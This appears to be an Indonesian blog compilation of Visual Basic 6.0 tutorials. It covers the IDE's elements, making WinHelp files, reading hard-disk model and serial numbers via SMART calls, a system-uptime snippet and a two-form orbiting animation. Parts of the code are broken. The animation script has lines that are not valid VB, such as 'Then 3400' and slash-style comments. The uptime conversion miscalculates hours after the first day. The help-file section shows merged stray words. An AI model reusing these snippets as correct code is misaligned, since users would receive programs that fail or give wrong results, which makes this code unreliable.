->>>>>DASAR MENGGUNAKAN VISUAL BASIC 6.0<<<<<-

    Apa itu Visual Basic? Kata “Visual” menun-
jukkan cara yang digunakan untuk membuat Graphical-
User Interface (GUI). Dengan cara ini Anda tidak-
lagi menuliskan instruksi pemrograman dalam kode-
kode baris, tetapi secara mudah Anda dapat melaku-
kan drag dan drop objek-objek yang akan Anda gunakan.

Kata “Basic” merupakan bagian bahasa BASIC-
(Beginners All Purpose Symbolic Instruction Code),-
yaitu sebuah bahasa pemrograman yang dalam sejarah-
nya sudah banyak digunakan oleh para programmer-
untuk menyusun aplikasi. Visual Basic dikembangkan
dari bahasa pemrograman BASIC.


1.1 Memulai Visual Basic 6.0
Setelah Anda menginstal program Visual Basic 6.0, Anda dapat
memulai dengan tombol Start yang ada pada task bar pada
Windows. Berikut langkah-langkahnya secara lengkap.
1. Tekan tombol Start dari Task bar pada Windows.
2. Pilih All Programs, dan arahkan ke pilihan Microsoft Visual
Studio 6.0 dan klik pada pilihan Microsoft Visual Basic 6.0.

Gambar 1.1 Membuka Program Visual Basic 6.0
3. Setelah Anda berhasil menjalankan Visual Basic untuk yang
pertama kalinya, Anda akan melihat tampilan logo Visual Basic
6.0 dan tak lama kemudian akan muncul kotak dialog berikut.

Gambar 1.2 Kotak Dialog New Project
4. Kotak dialog tersebut meminta konfirmasi kepada Anda untuk
memilih tipe proyek yang ingin Anda buat. Dalam hal ini, pilih
tipe proyek VB Enterprise Edition Constrols. Tekan tombol Open
untuk melanjutkan.

Gambar 1.3 Kotak Dialog Pemilihan Tipe Proyek
5. Dengan pemilihan tipe VB Enterprise Edition Controls di atas,
seorang pengguna tidak perlu lagi capek-capek menambahkan
komponen-komponen yang diperlukan. Hal itu karena pada tipe
proyek tersebut sudah menyediakan komponen-komponen secara
lengkap. Tekan tombol Open untuk melanjutkan.
6. Setelah menekan tombol Open, akan muncul sebuah layar
program Visual Basic dengan disertai komponen-komponen
lengkap yang ada pada bagian General atau Toolbox.

Gambar 1.4 Tampilan Interface Visual Basic
7. Tampilan di atas dapat disebut dengan lingkungan Integrated
Development Environment (IDE). Pada lingkungan tersebut,
Anda dapat melakukan berbagai aktivitas seperti proses editing,
compiling, dan debugging.


1.2 Mengenal Elemen Visual Basic 6.0
Setelah Anda berhasil membuka Visual Basic pada layar, Anda akan
menemukan interface program Visual Basic seperti Gambar 1.4.
Terlihat bahwa interface tersebut terdiri atas beberapa elemen.

1.2.1 Menu Bar
Menu Bar akan menampilkan perintah-perintah yang dapat Anda
gunakan saat Anda bekerja pada Visual Basic. Secara default, menu
bar ini memiliki pilihan File, Edit, View, Window, Query, Diagram,
Tools, Add-Ins, dan Help. Disamping itu, sehubungan dengan
pemrograman, terdapat menu yang bisa diakses, misalnya Project,
Format, Debug, atau Run.

Gambar 1.5 Tampilan Menu Bar
Jika masing-masing menu bar tersebut diklik, Visual Basic akan
menampilkan daftar pilihan dari menu bar yang Anda klik tadi.

1.2.2 Context Menu
Context Menu berisi shortcut yang suatu saat bisa Anda gunakan
untuk membuka sebuah context menu suatu objek. Untuk membuka
Context Menu ini, Anda dapat mengklik kanan objek yang akan
Anda buka Context Menu-nya. Berikut tampilan gambarnya.


Gambar 1.6 Tampilan Context Menu
Context Menu di atas, kami ambilkan dari Designer Form, yaitu
dengan cara mengklik kanan Form Designer.

1.2.3 Toolbar
Fasilitas ini dapat mempercepat pengaksesan perintah-perintah yang
ada dalam pemrograman. Anda dapat mengklik tombol-tombol
dalam toolbar ini untuk melakukan aksi tertentu. Secara standar,
toolbar jenis Standard yang akan ditampilkan saat Anda memulai
Visual Basic.
Jika Anda ingin mengatur tampilan toolbar yang lain, Anda dapat
menggunakan pilihan Toolbar pada menu bar View.

Gambar 1.7 Tampilan Toolbar

1.2.4 Toolbox
Sebuah window yang berisi tombol-tombol control yang akan Anda
gunakan untuk mendesain atau “Membangun” sebuah form atau
report. Selain tombol control di bawah, Anda juga dapat mendefinisikan
atau menambah sendiri tombol control yang lain.

Gambar 1.8 Tampilan Toolbox Tipe Standard

Gambar 1.9 Tampilan Toolbox Tipe VB Enterprise Edition Controls
Tampil tidaknya window ini dapat Anda atur dari pilihan Toolbox
yang ada pada menu bar View - Toolbox.

1.2.5 Window Project Explorer
Window Project Explorer ini menampilkan daftar form, modul, serta
objek lain yang ada dalam project yang aktif. Sebuah Project merupakan
sekumpulan file yang Anda gunakan untuk membangun
sebuah aplikasi. Berikut tampilan gambarnya.

Gambar 1.10 Tampilan Window Project Explorer

1.2.6 Window Properties
Window Properties ini dapat Anda gunakan untuk mengatur propertie
sebuah objek atau control yang Anda pilih. Sebuah property merupakan
karakteristik objek, seperti size, caption, text, atau color.

Gambar 1.11 Tampilan Window Properties

1.2.7 Objek Browser
Objek Browser ini merupakan daftar objek yang ada dalam project
yang aktif. Anda dapat menggunakan Object Browser untuk menampilkan
objek yang ada dalam Visual Basic dan aplikasi lain.
Untuk menampilkan objek ini Anda dapat menggunakan cara View
- Object Browser. Berikut tampilan gambarnya.

Gambar 1.12 Tampilan Object Browser

1.2.8 Form Designer
Form Designer adalah sebuah window yang dapat Anda gunakan
untuk mengatur tampilan aplikasi yang Anda susun, atau dengan
kata lain sebagai tempat untuk mendesain sebuah form. Dalam form
ini Anda dapat menambahkan control, grafik, dan gambar ke dalam
form pada posisi yang Anda inginkan. Setiap form memiliki window
designer form sendiri-sendiri. Berikut tampilan gambarnya.

Gambar 1.13 Tampilan Form Designer

1.2.9 Window Code Editor
Window Code Editor merupakan sebuah tampilan window yang
digunakan untuk memasukkan kode aplikasi. Window Code Editor
ini digunakan untuk mendefinisikan kode-kode form atau kode
modul dalam sebuah aplikasi. Berikut tampilan gambarnya.

Gambar 1.14 Tampilan Window Code Editor

1.2.10 Window Form Layout
Window Form Layout dapat digunakan untuk mengontrol posisi form
pada aplikasi Anda menggunakan sistem grafik dalam sebuah layar.
Dengan fasilitas ini, Anda dapat melihat dan mengetahui posisi form
yang baru Anda desain. Berikut tampilan gambarnya.

Gambar 1.15 Tampilan Window Form Layout

1.2.11 Window Immmediate, Local, dan Watch
Window-window ini merupakan window tambahan yang digunakan
untuk proses debug aplikasi Anda. Window-window ini hanya dapat
Anda gunakan jika Anda menjalankan aplikasi dengan interface
Visual Basic. Untuk menampilkan window-window ini, Anda dapat
melakukannya dengan cara View - Name Window.

Gambar 1.16 Tampilan Window Immediate

Gambar 1.17 Tampilan Window Locals

Gambar 1.18 Tampilan Window Watches

Jumat, 29 Februari 2008

TIPS MEMBUAT FILE HELP


Sekarang saya akan memberi tips untuk
membuat File Help..>> File help adalah file
yang berisi informasi dan atau tata cara
menggunakan suatu program aplikasi yang
dibuat oleh seorang programer. Sehingga
apabila si pengguna aplikasi tersebut mengalami
kesalahan atau kesulitan dalam menggunakannya,
tinggal membuka file helpnya saja.
Seorang programer profesional, biasanya
melengkapi program aplikasi yang di buatnya
dengan fasilitas help ini. Sehingga pengguna
aplikasi tersebut bisa menggunakan aplikasi
yang dibuat sesuai dengan yang diharapkan.
Sebuah sistem help yang baik membuat
pengguna dapat menemukan informasi yang mereka
butuhkan pada saat mereka membutuhkannya
dengan cara yang mudah. Informasi tersebut
harus jelas, ringkas dan memberikan pelajaran
sehubungan dengan topik yang di butuhkan.
Mungkin kita sudah sering menggunakan file help
ini, tapi belum tahu bagaimana cara membuatnya.
Oleh karena itu, mari kita pelajari
sekarang secara step by step :


Aplikasi yang di butuhkan adalah:
1. Aplikasi pengolah kata, yang mendukung footnote dan spesial mark Up, dalam hal ini kita
dapat menggunakan aplikasi Microsoft Word bawaan windows dan pastikan fitur double
underlinenya aktif.
2. File Help workshop (hcw.exe) yang berfungsi sebagai kompiler dari file *.hlp yang akan
dibuat. File ini biasanya telah ada sewaktu dengan anda menginstall aplikasi visual (Spt. Visual
Basic, Delphi, dll). Silahkan cari file ini dgn cara : Start->Find->Files anda Folders, dan
ketikkan kata kunci hcw.exe.

Prinsip Kerja:
File help di buat menggunakan MS-Word kemudian di simpan dalam bentuk file rich text format
(*.rtf). File *.rtf ini di kompile dengan aplikasi Help Workshop (hcw.exe). Jika tidak ada error,
maka file help anda akan terbentuk. Untuk menghubungkan antar link, kita membutuhkan format
font double underline. Untuk mengaktifkan fasilitas ini, dari MS-Word, pilih menu View-
>Toolbars->customize->pada tab commands, di kolom categories pilih format, dan pada kolom
format cari shorcut untuk Double Underline. Kemudian click and geser shorcut tersebut dan letakan
disamping menu help atau di lokasi yang lain. Kita juga membutuhkan format font single underline
untuk informasi dari satu kata yang di klik.
Disamping itu, dalam membuat file kita menggunakan fitur spesial footnote markup language
dalam bentuk rich text format (rtf). File rtf ini di susun dalam tiga kategori : jump text, topik text
dan footnote tags.
Inti dari struktur file help adalah topik, yaitu bagian rtf yang dibatas oleh page break. Baris pertama
dari bagian ini di beri footnote dengan menggunakan karakter spesial # dan k pada bagian awal
setiap topik. Karakter # digunakan untuk subjek sedangkan karakter k di gunakan untuk indeks kata
kunci yang akan di tunjukkan ketika anda melihat halaman indeks di kotak dialog help topic.
Bagian-bagian dari topik harus di set fontnya dalam bentuk double underline, dan disamping topik
kita sisipkan nama footnotenya sebagai penghubung atau batu loncatan ke alamat yang dituju,
kemudian nama footnote tadi harus dalam kondisi hidden dan tidak boleh ada spasi antara topik
dengan footnotenya serta pengetikan nama footnotenya harus persis sama sewaktu membuat
footnote tersebut.. Agar footnotenya hidden, maka, bloklah text tersebut, kemudian klik menu
format->font dan tandai opsi hidden.

Praktek Pembuatan Help
Untuk lebih memahami apa yang telah di jelaskan diatas, mari kita praktekkan ;
1. Bukalah aplikasi MS-WORD anda.
2. Ketiklah kalimat berikut;
Menghapus Record

Untuk menghapus sebuah record, lakukanlah langkah-langkah berikut;
1. Letakkan kursor anda di record yang akan di hapus
2. Klik tombol hapus, maka kota dialog haspu akan muncul
3. Pilih ya, jika anda inginmenghapus record tersebut.
3. Klik menu insert dan pilik break, page breaks dan klik OK, untuk berpindah ke halaman baru,
dan ketik :
Menambah Record

Untuk menambah sebuah record, lakukanlah langkah-langkah berikut ;
1. Klik tombol tambah
2. Isikan data untuk setiap field
3. Klik tombol simpan
---
Silahkan lakukan langkah ketiga ini untuk membuat help berikutnya, misalnya help untuk
menyisip record, mencari data, menyaring data dan lain-lain.
4. Selanjutnya untuk membuat informasi tentang record, Klik menu insert dan pilik break, page
breaks dan klik OK, untuk berpindah ke halaman baru, dan ketik :
Record adalah kumpulan dari elemen-elemen yang saling berkaitan dan menginformasikan
suatu entity secara lengkap. Satu record mewakili satu data atau informasi tentang seseorang,
misalnya, no. BP, nama, alamat, tanggal lahir, dan lain-lain.
5. Kembali ke halaman pertama, kemudian letakkan kursor anda sebelum kata menghapus record,
kemudian dari menu insert, pilih footnote. Pada kota dialog footnote yang muncul, pilih
custome mark lalu ketikkan #. Klik OK untuk menutup kotak dialog ini.
6. Symbol # akan muncul di bagian bawah dari halaman menghapus record, ketik ‘hapus’, sebagai
Identitas untuk topik tersebut.
7. Langkah yang sama juga kita lakukan pada Topik Menambah Record, letakkan kursor sebelum
kata Menambah record, lakukan kembali langkah 5 & 6 diatas dan beri Identitas ‘tambah’
8. Begitu juga halnya untuk informasi record, lakukan kembali langkah 5 & 6 diatas dan beri
Identitas ‘rec’
Sampai tahap ini kita sudah berhasil membuat help beserta linknya, berikutnya kita akan membuat
daftar isi/judul masing-masing topik, langkah2nya;
9. Kembali ke halaman pertama, letakkan kursor anda sebelum tulisan Menghapus Record, lalu
klik menu insert, break, page breaks, OK. Maka halaman menghapus record tadi pindah ke
halaman dua, dan sekarang kita berada di halaman pertama. Lalu ketikkan, judul masing-masing
topik yang telah kita buat sebelumnya. Yaitu ;
Menghapushapus Recordrec
Menambahtambah Recordrec
Nb. Kata tambah dan hapus adalah identitas dan link Menghapus dan menambah record yang
telah kita buat tadi. Sedangkan kata rec adalah informasi untuk record. Sehingga apabila user
meng-klik kata Record pada topik diatas, maka akan muncul kotak informasi tentang apa itu
record yang telah di buat tadi, tapi tidak melompat pada halaman tertentu.
10. Selanjutnya bloklah kata ‘hapus’ (setelah kata Menghapus). Lalu dari menu Format pilih font.
Pada kota dialog yang muncul pilih Hidden dan klik OK. Maka tulisan ‘hapus’ akan hilang dan
tampak sekarang adalah tulisan Menghapus Record. Selanjutnya kita blok kata “Menghapus”
dan berikan format font double underline, dengan cara meng-klik shorcut double underline
yang telah di buat tadi.
11. Lakukan hal yang sama untuk topik Menambah Record.
12. Kemudian blok kata ‘rec’ (setelah kata Record), lalu beri opsi hidden seperti pada kata hapus
dan tambah pada langkah ke-10 di atas. Lalu bloklah kata Record dan berikan format font
single underline (ingat : single underline, bukan double underline seperti pada langkah ke-10).
13. Simpanlah file help ini dengan format rtf. Klik menu file pilih save, pada kotak dialog yng
muncul, ketikkan nama file pada kota file names dan pilih Rich Text Format pada kota save As
type, lalu klik Save. Misalnya kita beri nama file ini dengan nama help.rtf
Pada tahap ini, kita telah berhasil membuat file help, selanjutnya kita masuk ke tahap kompilasi
menggunakan file hcw.exe (Help workshop)., langkah2nya:
14. Bukalah program help workshop dengan cara men-double klik file hcw.exe.
15. Dari menu file, klik new, pada kota dialog yang muncul pilih Help Project dan klik OK.
16. Kemudian beri nama file help anda, misal help dan simpan di lokasi yang sama dengan file
help.rtf.
17. Klik tombol files, pada kota dialog yg muncul klik Add, lalu pilih file help.rtf dan klik OK.
(lakukan langkah yg sama jika masih ada file rtf lain yg akan di masukin ke aplikasi help anda).
18. Klik Button Save and Compile. Jika tidak ada kesalahan, maka anda berhak mendapatkan
ucapan “Selamat Anda telah berhasil membuat File Help”. Secara otomatis di akan terbentuk
file help.hlp di folder yang anda tentukan tadi.
Untuk menjalankan file help ini, anda tinggal men-double klik saja file help.hlp, biasanya berbentuk
icon buku.

Selanjutnya anda tinggal meng-integrasikannya ke dalam aplikasi visual yang telah anda buat.
Silahkan anda kembangkan dan berkreasi dengan file help ini, karena apa yang kami sampaikan ini
masih sederhana dan kesempurnaanya ada di tangan anda semua.

Getting the unchangeable Hard Disk Serial Number.


'Add a listbox - name=list1
'Add a commanbutton - name=command1

Copy coding dibawah ini dan paste di Editor Form:
 
Option Explicit

Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const FILE_SHARE_READ = &H1
Private Const FILE_SHARE_WRITE = &H2
Private Const OPEN_EXISTING = 3
Private Const CREATE_NEW = 1
Private Const INVALID_HANDLE_VALUE = -1
Private Const VER_PLATFORM_WIN32_NT = 2
Private Const IDENTIFY_BUFFER_SIZE = 512
Private Const OUTPUT_DATA_SIZE = IDENTIFY_BUFFER_SIZE + 16

'GETVERSIONOUTPARAMS contains the data returned
'from the Get Driver Version function
Private Type GETVERSIONOUTPARAMS
bVersion As Byte 'Binary driver version.
bRevision As Byte 'Binary driver revision
bReserved As Byte 'Not used
bIDEDeviceMap As Byte 'Bit map of IDE devices
fCapabilities As Long 'Bit mask of driver capabilities
dwReserved(3) As Long 'For future use
End Type

'IDE registers
Private Type IDEREGS
bFeaturesReg As Byte 'Used for specifying SMART "commands"
bSectorCountReg As Byte 'IDE sector count register
bSectorNumberReg As Byte 'IDE sector number register
bCylLowReg As Byte 'IDE low order cylinder value
bCylHighReg As Byte 'IDE high order cylinder value
bDriveHeadReg As Byte 'IDE drive/head register
bCommandReg As Byte 'Actual IDE command
bReserved As Byte 'reserved for future use - must be zero
End Type

'SENDCMDINPARAMS contains the input parameters for the
'Send Command to Drive function
Private Type SENDCMDINPARAMS
cBufferSize As Long 'Buffer size in bytes
irDriveRegs As IDEREGS 'Structure with drive register values.
bDriveNumber As Byte 'Physical drive number to send command to (0,1,2,3).
bReserved(2) As Byte 'Bytes reserved
dwReserved(3) As Long 'DWORDS reserved
bBuffer() As Byte 'Input buffer.
End Type

'Valid values for the bCommandReg member of IDEREGS.
Private Const IDE_ID_FUNCTION = &HEC 'Returns ID sector for ATA.
Private Const IDE_EXECUTE_SMART_FUNCTION = &HB0 'Performs SMART cmd.
'Requires valid bFeaturesReg,
'bCylLowReg, and bCylHighReg

'Cylinder register values required when issuing SMART command
Private Const SMART_CYL_LOW = &H4F
Private Const SMART_CYL_HI = &HC2

'Status returned from driver
Private Type DRIVERSTATUS
bDriverError As Byte 'Error code from driver, or 0 if no error
bIDEStatus As Byte 'Contents of IDE Error register
'Only valid when bDriverError is SMART_IDE_ERROR
bReserved(1) As Byte
dwReserved(1) As Long
End Type

Private Type IDSECTOR
wGenConfig As Integer
wNumCyls As Integer
wReserved As Integer
wNumHeads As Integer
wBytesPerTrack As Integer
wBytesPerSector As Integer
wSectorsPerTrack As Integer
wVendorUnique(2) As Integer
sSerialNumber(19) As Byte
wBufferType As Integer
wBufferSize As Integer
wECCSize As Integer
sFirmwareRev(7) As Byte
sModelNumber(39) As Byte
wMoreVendorUnique As Integer
wDoubleWordIO As Integer
wCapabilities As Integer
wReserved1 As Integer
wPIOTiming As Integer
wDMATiming As Integer
wBS As Integer
wNumCurrentCyls As Integer
wNumCurrentHeads As Integer
wNumCurrentSectorsPerTrack As Integer
ulCurrentSectorCapacity As Long
wMultSectorStuff As Integer
ulTotalAddressableSectors As Long
wSingleWordDMA As Integer
wMultiWordDMA As Integer
bReserved(127) As Byte
End Type

'Structure returned by SMART IOCTL commands
Private Type SENDCMDOUTPARAMS
cBufferSize As Long 'Size of Buffer in bytes
DRIVERSTATUS As DRIVERSTATUS 'Driver status structure
bBuffer() As Byte 'Buffer of arbitrary length for data read from drive
End Type

'Vendor specific feature register defines
'for SMART "sub commands"
Private Const SMART_ENABLE_SMART_OPERATIONS = &HD8

'Status Flags Values
Public Enum STATUS_FLAGS
PRE_FAILURE_WARRANTY = &H1
ON_LINE_COLLECTION = &H2
PERFORMANCE_ATTRIBUTE = &H4
ERROR_RATE_ATTRIBUTE = &H8
EVENT_COUNT_ATTRIBUTE = &H10
SELF_PRESERVING_ATTRIBUTE = &H20
End Enum

'IOCTL commands
Private Const DFP_GET_VERSION = &H74080
Private Const DFP_SEND_DRIVE_COMMAND = &H7C084
Private Const DFP_RECEIVE_DRIVE_DATA = &H7C088

Private Type ATTR_DATA
AttrID As Byte
AttrName As String
AttrValue As Byte
ThresholdValue As Byte
WorstValue As Byte
StatusFlags As STATUS_FLAGS
End Type

Private Type DRIVE_INFO
bDriveType As Byte
SerialNumber As String
Model As String
FirmWare As String
Cilinders As Long
Heads As Long
SecPerTrack As Long
BytesPerSector As Long
BytesperTrack As Long
NumAttributes As Byte
Attributes() As ATTR_DATA
End Type

Private Enum IDE_DRIVE_NUMBER
PRIMARY_MASTER
PRIMARY_SLAVE
SECONDARY_MASTER
SECONDARY_SLAVE
TERTIARY_MASTER
TERTIARY_SLAVE
QUARTIARY_MASTER
QUARTIARY_SLAVE
End Enum

Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" _
(ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
lpSecurityAttributes As Any, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long

Private Declare Function DeviceIoControl Lib "kernel32" _
(ByVal hDevice As Long, _
ByVal dwIoControlCode As Long, _
lpInBuffer As Any, _
ByVal nInBufferSize As Long, _
lpOutBuffer As Any, _
ByVal nOutBufferSize As Long, _
lpBytesReturned As Long, _
lpOverlapped As Any) As Long

Private Declare Sub CopyMemory Lib "kernel32" _
Alias "RtlMoveMemory" _
(hpvDest As Any, _
hpvSource As Any, _
ByVal cbCopy As Long)

Private Type OSVERSIONINFO
OSVSize As Long
dwVerMajor As Long
dwVerMinor As Long
dwBuildNumber As Long
PlatformID As Long
szCSDVersion As String * 128
End Type

Private Declare Function GetVersionEx Lib "kernel32" _
Alias "GetVersionExA" _
(LpVersionInformation As OSVERSIONINFO) As Long



Private Sub Form_Load()

Command1.Caption = "Get Drive Info"
Dim di As DRIVE_INFO
di = GetDriveInfo(0)
Me.Caption = Trim$(di.Model) & vbCrLf
Me.Caption = Me.Caption & " - " & Trim$(di.SerialNumber)

End Sub


Private Sub Command1_Click()

Dim di As DRIVE_INFO
Dim drvNumber As Long

For drvNumber = PRIMARY_MASTER To QUARTIARY_SLAVE

di = GetDriveInfo(drvNumber)

List1.AddItem "Drive " & drvNumber

With di

Select Case .bDriveType
Case 0
List1.AddItem vbTab & "[Not present]"
Case 1
List1.AddItem vbTab & "Model:" & vbTab & Trim$(.Model)
List1.AddItem vbTab & "Serial No:" & vbTab & Trim$(.SerialNumber)
Case 2
List1.AddItem vbTab & "[ATAPI drive - info not available]"
Case Else
List1.AddItem vbTab & "[drive type not known]"
End Select

End With

Next

End Sub


Private Function GetDriveInfo(drvNumber As IDE_DRIVE_NUMBER) As DRIVE_INFO

Dim hDrive As Long
Dim di As DRIVE_INFO

hDrive = SmartOpen(drvNumber)

If hDrive <> INVALID_HANDLE_VALUE Then

If SmartGetVersion(hDrive) = True Then

With di
.bDriveType = 0
.NumAttributes = 0
ReDim .Attributes(0)
.bDriveType = 1
End With

If SmartCheckEnabled(hDrive, drvNumber) Then

If IdentifyDrive(hDrive, IDE_ID_FUNCTION, drvNumber, di) = True Then

GetDriveInfo = di

End If 'IdentifyDrive
End If 'SmartCheckEnabled
End If 'SmartGetVersion
End If 'hDrive <> INVALID_HANDLE_VALUE

CloseHandle hDrive

End Function


Private Function IdentifyDrive(ByVal hDrive As Long, _
ByVal IDCmd As Byte, _
ByVal drvNumber As IDE_DRIVE_NUMBER, _
di As DRIVE_INFO) As Boolean

'Function: Send an IDENTIFY command to the drive
'drvNumber = 0-3
'IDCmd = IDE_ID_FUNCTION or IDE_ATAPI_ID
Dim SCIP As SENDCMDINPARAMS
Dim IDSEC As IDSECTOR
Dim bArrOut(OUTPUT_DATA_SIZE - 1) As Byte
Dim cbBytesReturned As Long

With SCIP
.cBufferSize = IDENTIFY_BUFFER_SIZE
.bDriveNumber = CByte(drvNumber)

With .irDriveRegs
.bFeaturesReg = 0
.bSectorCountReg = 1
.bSectorNumberReg = 1
.bCylLowReg = 0
.bCylHighReg = 0
.bDriveHeadReg = &HA0 'compute the drive number
If Not IsWinNT4Plus Then
.bDriveHeadReg = .bDriveHeadReg Or ((drvNumber And 1) * 16)
End If
'the command can either be IDE
'identify or ATAPI identify.
.bCommandReg = CByte(IDCmd)
End With
End With

If DeviceIoControl(hDrive, _
DFP_RECEIVE_DRIVE_DATA, _
SCIP, _
Len(SCIP) - 4, _
bArrOut(0), _
OUTPUT_DATA_SIZE, _
cbBytesReturned, _
ByVal 0&) Then

CopyMemory IDSEC, bArrOut(16), Len(IDSEC)

di.Model = StrConv(SwapBytes(IDSEC.sModelNumber), vbUnicode)
di.SerialNumber = StrConv(SwapBytes(IDSEC.sSerialNumber), vbUnicode)

IdentifyDrive = True

End If

End Function


Private Function IsWinNT4Plus() As Boolean

'returns True if running Windows NT4 or later
Dim osv As OSVERSIONINFO

osv.OSVSize = Len(osv)

If GetVersionEx(osv) = 1 Then

IsWinNT4Plus = (osv.PlatformID = VER_PLATFORM_WIN32_NT) And _
(osv.dwVerMajor >= 4)

End If

End Function


Private Function SmartCheckEnabled(ByVal hDrive As Long, _
drvNumber As IDE_DRIVE_NUMBER) As Boolean

'SmartCheckEnabled - Check if SMART enable
'FUNCTION: Send a SMART_ENABLE_SMART_OPERATIONS command to the drive
'bDriveNum = 0-3
Dim SCIP As SENDCMDINPARAMS
Dim SCOP As SENDCMDOUTPARAMS
Dim cbBytesReturned As Long

With SCIP

.cBufferSize = 0

With .irDriveRegs
.bFeaturesReg = SMART_ENABLE_SMART_OPERATIONS
.bSectorCountReg = 1
.bSectorNumberReg = 1
.bCylLowReg = SMART_CYL_LOW
.bCylHighReg = SMART_CYL_HI

.bDriveHeadReg = &HA0
If Not IsWinNT4Plus Then
.bDriveHeadReg = .bDriveHeadReg Or ((drvNumber And 1) * 16)
End If
.bCommandReg = IDE_EXECUTE_SMART_FUNCTION

End With

.bDriveNumber = drvNumber

End With

SmartCheckEnabled = DeviceIoControl(hDrive, _
DFP_SEND_DRIVE_COMMAND, _
SCIP, _
Len(SCIP) - 4, _
SCOP, _
Len(SCOP) - 4, _
cbBytesReturned, _
ByVal 0&)
End Function


Private Function SmartGetVersion(ByVal hDrive As Long) As Boolean

Dim cbBytesReturned As Long
Dim GVOP As GETVERSIONOUTPARAMS

SmartGetVersion = DeviceIoControl(hDrive, _
DFP_GET_VERSION, _
ByVal 0&, 0, _
GVOP, _
Len(GVOP), _
cbBytesReturned, _
ByVal 0&)

End Function


Private Function SmartOpen(drvNumber As IDE_DRIVE_NUMBER) As Long

'Open SMART to allow DeviceIoControl
'communications and return SMART handle

If IsWinNT4Plus() Then

SmartOpen = CreateFile("\\.\PhysicalDrive" & CStr(drvNumber), _
GENERIC_READ Or GENERIC_WRITE, _
FILE_SHARE_READ Or FILE_SHARE_WRITE, _
ByVal 0&, _
OPEN_EXISTING, _
0&, _
0&)

Else

SmartOpen = CreateFile("\\.\SMARTVSD", _
0&, 0&, _
ByVal 0&, _
CREATE_NEW, _
0&, _
0&)
End If

End Function


Private Function SwapBytes(b() As Byte) As Byte()


Dim bTemp As Byte
Dim cnt As Long

For cnt = LBound(b) To UBound(b) Step 2
bTemp = b(cnt)
b(cnt) = b(cnt + 1)
b(cnt + 1) = bTemp
Next cnt

SwapBytes = b()

End Function

SYSTEM UPTIME


Source code berikut merupakan suatu
program untuk dapat mengetahui System Uptime

Copy coding dibawah ini dan paste di Editor Form:
 
'---Form Usage Example:---'
Private Sub Timer1_Timer()
Label1 = "System Uptime: " & SystemUptime.Days & " Days, " & _
SystemUptime.Hours & " Hours, " & _
SystemUptime.Minutes & " Mins, " & _
SystemUptime.Seconds & " Seconds, " & _
SystemUptime.MSeconds & " Miliseconds"
End Sub

Copy coding dibawah ini dan paste di Editor Module:
 
'---In Module---'
Public Type TimeConv
Days As Long
Hours As Long
Minutes As Long
Seconds As Long
MSeconds As Long
End Type

Private Declare Function GetTickCount Lib "kernel32.dll" () As Long

Private Function ConvertTime(ByVal Tick As Long) As TimeConv

ConvertTime.MSeconds = Tick Mod 1000

Tick = Tick \ 1000
ConvertTime.Days = ((Tick) \ (24 * (60 ^ 2)))

If ConvertTime.Days > 0 Then Tick = (Tick - 24 * (60 ^ 2)) * ConvertTime.Days
ConvertTime.Hours = Tick \ (60 ^ 2)

If ConvertTime.Hours > 0 Then Tick = Tick - ((60 ^ 2) * ConvertTime.Hours)
ConvertTime.Minutes = Tick \ 60

ConvertTime.Seconds = Tick Mod 60

End Function


Property Get SystemUptime() As TimeConv
SystemUptime = ConvertTime(GetTickCount)
End Property

FORM MENGELILINGI FORM

 
Source code dibawah ini merupakan salah
satu animasi pada form yaitu ada 2 Form dan salah
satu form tersebut mengelilingi form yang lain

Copy coding dibawah ini dan paste di Editor Form:

========================Script pada Form1=====
==================Hak Cipta Pembuat GOdzillaZ@Plasa.Com
!!!!!!!!Hak Cipta Harus Diikut sertakan Dalam Pemakaian Script ini!!!!!!!!!!!

Dim a As Long
Private Sub Form_Load()
Form1.BorderStyle = 1
Form1.Height = 3645
Form1.Width = 4800
Form2.Show
Timer1.Enabled = True
Timer1.Interval = 1
Timer2.Enabled = False
Timer2.Interval = 1
Timer3.Enabled = False
Timer3.Interval = 1
Timer4.Enabled = False
Timer4.Interval = 1
Timer5.Enabled = False
Timer5.Interval = 1
Slider1.Max = 200
Slider1.Min = 0
Slider1.Value = 50
End Sub

Private Sub Tambahan()
b = Slider1.Value
a = a + b
Label3.Caption = a
Me.Caption = "Balok Keliling Ala GOdziLLaZ"
End Sub

Private Sub Timer1_timer()
Label1.Caption = Form1.Top - 450 /Left Kiri
Label2.Caption = Form1.Left - 200
Form2.Left = Label2.Caption + a
Form2.Top = Form1.Top - 450
Call Tambahan
If Label3.Caption > 5000 Then 3400
a = 0
Label3.Caption = a
Timer1.Enabled = False
Timer2.Enabled = True
End If
End Sub

Private Sub Timer2_Timer()
Call Tambahan
Label1.Caption = Form1.Top - 450 /Left Kiri
Label2.Caption = Form1.Left - 200
Form2.Top = Label1.Caption + a
Form2.Left = Form1.Left + 4800
If Label3.Caption > 4050 Then
a = 0
Label3.Caption = a
Timer2.Enabled = False
Timer3.Enabled = True
End If
End Sub

Private Sub Timer3_Timer()
Call Tambahan
Label1.Caption = Form1.Top + 3650 /Top bawah
Label2.Caption = Form1.Left + 4800 /Left kanan
Form2.Top = Label1.Caption
Form2.Left = Label2.Caption - a
If a > 6420 Then
a = 0
Label3.Caption = a
Timer3.Enabled = False
Timer4.Enabled = True
End If
End Sub

Private Sub Timer4_Timer()
Call Tambahan
Label1.Caption = Form1.Top + 3600 /Top bawah
Form2.Left = Form1.Left - 1640
Form2.Top = Label1.Caption - a
If a > 4030 Then
a = 0
Label3.Caption = a
Timer4.Enabled = False
Timer5.Enabled = True
End If
End Sub

Private Sub Timer5_Timer()
Call Tambahan
Label1.Caption = Form1.Left - 1650
Form2.Top = Form1.Top - 450
Form2.Left = Label1.Caption + a
If a > 1460 Then
a = 0
Label3.Caption = a
Timer5.Enabled = False
Timer1.Enabled = True
End If
End Sub
===3buah label dan 5buah Timer==
=========Komponen Pada Form1====
= - Label1 =
= - label2 =
= - label3 =
= - Timer1 =
= - Timer2 =
= - Timer3 =
= - Timer4 =
= - Timer5 =
============================



============================== Script Pada Form2 ============================
Private Sub Form_Load()
Form2.BorderStyle = 0
Form2.Height = 1000
Form2.Width = 1635
Timer1.Enabled = True
Timer1.Interval = 250
End Sub

Private Sub Label1_Click()
End
End Sub
